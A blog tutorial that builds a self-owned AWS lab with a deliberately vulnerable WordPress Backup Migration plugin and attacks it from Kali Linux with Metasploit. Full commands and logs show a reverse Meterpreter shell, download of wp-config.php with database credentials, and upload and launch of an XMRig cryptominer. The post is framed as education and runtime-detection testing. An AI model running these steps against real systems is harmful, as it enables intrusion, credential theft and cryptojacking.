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Exploit vulnerability in a WordPress plugin with Kali Linux

Learn how to exploit a vulnerability in a WordPress plugin running on Amazon EKS using Kali Linux

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By Petr Ruzicka
views 10 min read

For the educational purposes, it may be useful to learn how to exploit a vulnerability in a WordPress plugin running on Amazon EKS using Kali Linux.

I’m going to cover the following steps:

  • Install Amazon EKS cluster
  • Install vulnerable Wordpress Application to K8s
  • Install Kali Linux to EC2 instance
  • Exploit vulnerability in a WordPress plugin using Kali Linux and Metasploit

Set necessary environment variables and download CloudFormation templates

Requirements:

Set the AWS environment variables:

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export AWS_REGION="eu-central-1"
export AWS_EC2_KEY_PAIR_NAME="ruzickap-test"
export TMP_DIR="${TMP_DIR:-${PWD}}"

Download the CloudFormation templates for Kali Linux and VPC:

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wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/aws-codebuild-samples/e43fe99f21b02635873bddeed92b669e8e5156d3/ci_tools/vpc_cloudformation_template.yml
wget --continue -q -P "${TMP_DIR}" https://raw.githubusercontent.com/aws-samples/amazon-ec2-nice-dcv-samples/b5e676d847da88e95f7227b8da96c2e4f28f88f3/cfn/KaliLinux-NICE-DCV.yaml

Create a new AWS EC2 Key Pair:

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aws ec2 create-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}" --key-type ed25519 --query "KeyMaterial" --output text > "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"
chmod 600 "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem"

Run Kali Linux on Amazon EC2 instance

Kali Linux

Create AWS EC2 instance with Kali Linux using the CloudFormation template:

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export SOLUTION_KALI="KaliLinux-NICE-DCV"

aws cloudformation deploy --capabilities CAPABILITY_IAM \
  --parameter-overrides "EnvironmentName=${SOLUTION_KALI}" \
  --stack-name "${SOLUTION_KALI}-VPC" --template-file "${TMP_DIR}/vpc_cloudformation_template.yml" \
  --tags "Owner=${USER} Environment=dev Solution=${SOLUTION_KALI}"

# shellcheck disable=SC2016
AWS_CLOUDFORMATION_DETAILS=$(aws cloudformation describe-stacks --stack-name "${SOLUTION_KALI}-VPC" --query 'Stacks[0].Outputs[? OutputKey==`PublicSubnet1` || OutputKey==`VPC`].{OutputKey:OutputKey,OutputValue:OutputValue}')
AWS_VPC_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"VPC\") .OutputValue")
AWS_SUBNET_ID=$(echo "${AWS_CLOUDFORMATION_DETAILS}" | jq -r ".[] | select(.OutputKey==\"PublicSubnet1\") .OutputValue")

eval aws cloudformation create-stack --capabilities CAPABILITY_AUTO_EXPAND CAPABILITY_IAM \
  --parameters "ParameterKey=ec2KeyPair,ParameterValue=${AWS_EC2_KEY_PAIR_NAME} ParameterKey=vpcID,ParameterValue=${AWS_VPC_ID} ParameterKey=subnetID,ParameterValue=${AWS_SUBNET_ID} ParameterKey=allowWebServerPorts,ParameterValue=HTTP-and-HTTPS" \
  --stack-name "${SOLUTION_KALI}" --template-body "file://${TMP_DIR}/KaliLinux-NICE-DCV.yaml" \
  --tags "Key=Owner,Value=${USER} Key=Environment,Value=dev Key=Solution,Value=${SOLUTION_KALI}"

Install Amazon EKS cluster and vulnerable Wordpress Application

Let’s look at the way to install the Amazon EKS cluster and vulnerable Wordpress Application.

Install the Amazon EKS cluster

Install the Amazon EKS cluster using the eksctl:

eksctl

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export SOLUTION_EKS="Amazon-EKS"
export KUBECONFIG="${TMP_DIR}/kubeconfig-${SOLUTION_EKS}.conf"

eksctl create cluster \
  --name "${SOLUTION_EKS}" --tags "Owner=${USER},Solution=${SOLUTION_EKS},Cluster=${SOLUTION_EKS}" \
  --node-type t3a.medium --node-volume-size 20 --node-private-networking \
  --kubeconfig "${KUBECONFIG}"

Install vulnerable Wordpress Application

Install vulnerable Wordpress Application to the Amazon EKS cluster using the Helm chart and modify the default values:

Wordpress

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WORDPRESS_HELM_CHART_VERSION="22.1.3"

tee "${TMP_DIR}/helm_values-wordpress.yml" << EOF
wordpressUsername: wordpress
wordpressPassword: $(openssl rand -base64 12)
customPostInitScripts:
  install_plugins.sh: |
    wp plugin install backup-backup --version=1.3.7 --activate
persistence:
  enabled: false
mariadb:
  primary:
    persistence:
      enabled: false
EOF
helm upgrade --install --version "${WORDPRESS_HELM_CHART_VERSION}" --namespace wordpress --create-namespace --wait --values "${TMP_DIR}/helm_values-wordpress.yml" wordpress oci://registry-1.docker.io/bitnamicharts/wordpress

The vulnerable version of the WordPress Backup Migration Plugin plugin in version 1.3.7 was installed.

Let’s get the LoadBalancer / Wordpress URL:

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K8S_WORDPRESS_SERVICE=$(kubectl get services --namespace wordpress wordpress --output jsonpath='{.status.loadBalancer.ingress[0].hostname}')

Summarize the Wordpress URL, Admin URL, Username, and Password:

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echo "WordPress URL: http://${K8S_WORDPRESS_SERVICE}/"
echo "WordPress Admin URL: http://${K8S_WORDPRESS_SERVICE}/admin"
echo "Username: wordpress"
echo "Password: $(kubectl get secret --namespace wordpress wordpress -o jsonpath='{.data.wordpress-password}' | base64 -d)"

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WordPress URL: http://ab5bc303e73b84fd597cb02c422e1f23-691116016.eu-central-1.elb.amazonaws.com/
WordPress Admin URL: http://ab5bc303e73b84fd597cb02c422e1f23-691116016.eu-central-1.elb.amazonaws.com/admin
Username: wordpress
Password: a6jnQ16JZS5TLLri

Attack the Wordpress Application

The following commands run the Metasploit Framework to exploit the vulnerability in the WordPress Backup Migration Plugin.

The details about the vulnerability can be found here:

Allow my user to connect using SSH:

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AWS_EC2_KALI_LINUX_PUBLIC_IP=$(aws ec2 describe-instances --filters "Name=tag:Solution,Values=${SOLUTION_KALI}" --query "Reservations[].Instances[].PublicIpAddress" --output text)
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" 'curl -Ls https://github.com/ruzickap.keys >> ~/.ssh/authorized_keys'

Login to the Kali Linux instance using SSH and perform the steps:

  • Download the XMRig cryptominer
  • Install Metasploit Framework
  • Initialize the Metasploit Framework
  • Use wordpress_scanner auxiliary module to scan the Wordpress Application
  • Use wp_backup_migration_php_filter exploit module to exploit the Wordpress plugin vulnerability
  • Upload cryptominer to the remove host
  • Execute the cryptominer (run XMRig binary with --version option)
  • Download the Wordpress config file wp-config.php and print the database credentials

Metasploit Metasploit logo

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# shellcheck disable=SC2087
ssh -i "${TMP_DIR}/${AWS_EC2_KEY_PAIR_NAME}.pem" -o StrictHostKeyChecking=no "kali@${AWS_EC2_KALI_LINUX_PUBLIC_IP}" << EOF2
curl -Ls https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz | tar -xvzf - --strip-components=1 --wildcards "*/xmrig"

sudo snap install metasploit-framework
msfdb init

cat << EOF | msfconsole --quiet --resource -
use auxiliary/scanner/http/wordpress_scanner
set rhost ${K8S_WORDPRESS_SERVICE}
run

use exploit/multi/http/wp_backup_migration_php_filter
set rhost ${K8S_WORDPRESS_SERVICE}
set lhost ${AWS_EC2_KALI_LINUX_PUBLIC_IP}
set lport 443
run

sessions --interact 1 --meterpreter-command ps --meterpreter-command sysinfo \
  --meterpreter-command "download /bitnami/wordpress/wp-config.php" \
  --meterpreter-command "upload xmrig /tmp/xmrig" \
  --meterpreter-command "execute -i -H -f /usr/bin/sh -a '-c \"chmod a+x /tmp/xmrig ; /tmp/xmrig --version\"'"

exit -y
EOF

grep DB_ wp-config.php
EOF2

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┌──(kali㉿kali)-[~]
└─$ curl -Ls https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-linux-static-x64.tar.gz | tar -xvzf - --strip-components=1 --wildcards "*/xmrig"

xmrig-6.21.3/xmrig

┌──(kali㉿kali)-[~]
└─$ sudo snap install metasploit-framework
metasploit-framework v6.4.4-dev from Jitendra Patro (jitpatro) installed
WARNING: There is 1 new warning. See 'snap warnings'.

┌──(kali㉿kali)-[~]
└─$ msfdb init
Running the 'init' command for the database:
Creating database at /home/kali/snap/metasploit-framework/common/.msf4/db
Creating db socket file at /home/kali/snap/metasploit-framework/common
Starting database at /home/kali/snap/metasploit-framework/common/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /home/kali/snap/metasploit-framework/common/.msf4/db/pg_hba.conf
Stopping database at /home/kali/snap/metasploit-framework/common/.msf4/db
Starting database at /home/kali/snap/metasploit-framework/common/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful

┌──(kali㉿kali)-[~]
└─$ msfconsole --quiet

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.



 ** Metasploit Framework Initial Setup Complete **

This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
msf6 > use auxiliary/scanner/http/wordpress_scanner
msf6 auxiliary(scanner/http/wordpress_scanner) > set rhost ab5bc303e73b84fd597cb02c422e1f23-691116016.eu-central-1.elb.amazonaws.com
rhost => ab5bc303e73b84fd597cb02c422e1f23-691116016.eu-central-1.elb.amazonaws.com
msf6 auxiliary(scanner/http/wordpress_scanner) > run

[*] Trying 3.73.29.183
[+] 3.73.29.183 - Detected Wordpress 6.5
[*] 3.73.29.183 - Enumerating Themes
[*] 3.73.29.183 - Progress  0/3 (0.0%)
[*] 3.73.29.183 - Finished scanning themes
[*] 3.73.29.183 - Enumerating plugins
[*] 3.73.29.183 - Progress   0/63 (0.0%)
[+] 3.73.29.183 - Detected plugin: all-in-one-wp-migration version 7.81
[+] 3.73.29.183 - Detected plugin: backup-backup version 1.3.7
[*] 3.73.29.183 - Finished scanning plugins
[*] 3.73.29.183 - Searching Users
[+] 3.73.29.183 - Detected user: wordpress with username: wordpress
[*] 3.73.29.183 - Finished scanning users
[*] 3.73.29.183 - Finished all scans
[*] Scanned 1 of 2 hosts (50% complete)
[*] Trying 3.120.25.116
[+] 3.120.25.116 - Detected Wordpress 6.5
[*] 3.120.25.116 - Enumerating Themes
[*] 3.120.25.116 - Progress  0/3 (0.0%)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[*] 3.120.25.116 - Finished scanning themes
[*] 3.120.25.116 - Enumerating plugins
[*] 3.120.25.116 - Progress   0/63 (0.0%)
[*] Scanned 1 of 2 hosts (50% complete)
[*] Scanned 1 of 2 hosts (50% complete)
[+] 3.120.25.116 - Detected plugin: all-in-one-wp-migration version 7.81
[+] 3.120.25.116 - Detected plugin: backup-backup version 1.3.7
[*] 3.120.25.116 - Finished scanning plugins
[*] 3.120.25.116 - Searching Users
[+] 3.120.25.116 - Detected user: wordpress with username: wordpress
[*] 3.120.25.116 - Finished scanning users
[*] 3.120.25.116 - Finished all scans
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wordpress_scanner) >
msf6 auxiliary(scanner/http/wordpress_scanner) > use exploit/multi/http/wp_backup_migration_php_filter
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhost ab5bc303e73b84fd597cb02c422e1f23-691116016.eu-central-1.elb.amazonaws.com
rhost => ab5bc303e73b84fd597cb02c422e1f23-691116016.eu-central-1.elb.amazonaws.com
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 52.57.50.4
lhost => 52.57.50.4
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lport 443
lport => 443
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
[*] Exploiting target 3.73.29.183

[-] Handler failed to bind to 52.57.50.4:443:-  -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 3.74.38.166
[+] Deleted j
[+] Deleted erpY.php
[*] Meterpreter session 1 opened (10.192.10.73:443 -> 3.74.38.166:38454) at 2024-04-30 07:08:44 +0000
[*] Session 1 created in the background.
[*] Exploiting target 3.120.25.116
[-] Handler failed to bind to 52.57.50.4:443:-  -
[*] Started reverse TCP handler on 0.0.0.0:443
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.5
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 3.74.38.166
[+] Deleted t
[+] Deleted erpY.php
[*] Meterpreter session 2 opened (10.192.10.73:443 -> 3.74.38.166:43951) at 2024-04-30 07:09:43 +0000
[*] Session 2 created in the background.
msf6 exploit(multi/http/wp_backup_migration_php_filter) >
msf6 exploit(multi/http/wp_backup_migration_php_filter) > sessions --interact 1
[*] Starting interaction with 1...

meterpreter > ps

Process List
============

 PID  Name                           User  Path
 ---  ----                           ----  ----
 1    /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 301  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 302  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 303  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 304  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 305  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 306  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 308  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 309  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 310  /opt/bitnami/apache/bin/httpd  1001  /opt/bitnami/apache/bin/httpd -f /opt/bitnami/apache/conf/httpd.conf -D FOREGROUND
 311  sh                             1001  sh -c ps ax -w -o pid,user,cmd --no-header 2>/dev/null
 312  ps                             1001  ps ax -w -o pid,user,cmd --no-header

meterpreter >
meterpreter > sysinfo
Computer    : wordpress-7c5479f8-n846l
OS          : Linux wordpress-7c5479f8-n846l 5.10.213-201.855.amzn2.x86_64 #1 SMP Mon Mar 25 18:16:11 UTC 2024 x86_64
Meterpreter : php/linux
meterpreter >
meterpreter > download /bitnami/wordpress/wp-config.php
[*] Downloading: /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
[*] Downloaded 4.19 KiB of 4.19 KiB (100.0%): /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
[*] Completed  : /bitnami/wordpress/wp-config.php -> /home/kali/wp-config.php
meterpreter >
meterpreter > upload xmrig /tmp/xmrig
[*] Uploading  : /home/kali/xmrig -> /tmp/xmrig
[*] Uploaded -1.00 B of 7.90 MiB (0.0%): /home/kali/xmrig -> /tmp/xmrig
[*] Completed  : /home/kali/xmrig -> /tmp/xmrig
meterpreter >
meterpreter > execute -i -H -f /usr/bin/sh -a '-c "chmod a+x /tmp/xmrig ; /tmp/xmrig --version"'
Process 316 created.
Channel 3 created.
XMRig 6.21.3
 built on Apr 23 2024 with GCC 13.2.1
 features: 64-bit AES

libuv/1.48.0
OpenSSL/3.0.13
hwloc/2.10.0
[-] core_channel_interact: Operation failed: 1
meterpreter > exit -y
[*] Shutting down session: 1

[*] 3.73.29.183 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/http/wp_backup_migration_php_filter) > exit -y

┌──(kali㉿kali)-[~]
└─$ grep DB_ wp-config.php
define( 'DB_NAME', 'bitnami_wordpress' );
define( 'DB_USER', 'bn_wordpress' );
define( 'DB_PASSWORD', 'vAX0wwd3wR' );
define( 'DB_HOST', 'wordpress-mariadb:3306' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );

I really like the Metasploit’s colors so I’ve add the logs as images here:

Metasploit - wordpress_scanner Metasploit - wordpress_scanner

Metasploit - wp_backup_migration_php_filter Metasploit - wp_backup_migration_php_filter

Metasploit

The Metasploit Framework can do many other things with exploited host. These are the basic commands which should be detected by the security tools (K8s runtime protection).

Cleanup

Delete the Amazon EKS cluster, Kali Linux EC2 instance, and EC2 Key Pair:

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export AWS_REGION="eu-central-1"
export AWS_EC2_KEY_PAIR_NAME="ruzickap-test"
export SOLUTION_KALI="KaliLinux-NICE-DCV"
export SOLUTION_EKS="Amazon-EKS"

aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}"
aws ec2 delete-key-pair --key-name "${AWS_EC2_KEY_PAIR_NAME}"
eksctl delete cluster --name "${SOLUTION_EKS}"
aws cloudformation delete-stack --stack-name "${SOLUTION_KALI}-VPC"
aws cloudformation wait stack-delete-complete --stack-name "${SOLUTION_KALI}"
aws cloudformation wait stack-delete-complete --stack-name "${SOLUTION_KALI}-VPC"
aws cloudformation wait stack-delete-complete --stack-name "eksctl-${SOLUTION_EKS}-cluster"

Enjoy … 😉

Kubernetes, Amazon EKS, Security, Exploit, Vulnerability, Kali Linux
Amazon EKS k8s kubernetes security eksctl Kali Linux exploit vulnerability WordPress plugin
This post is licensed under CC BY 4.0 by the author.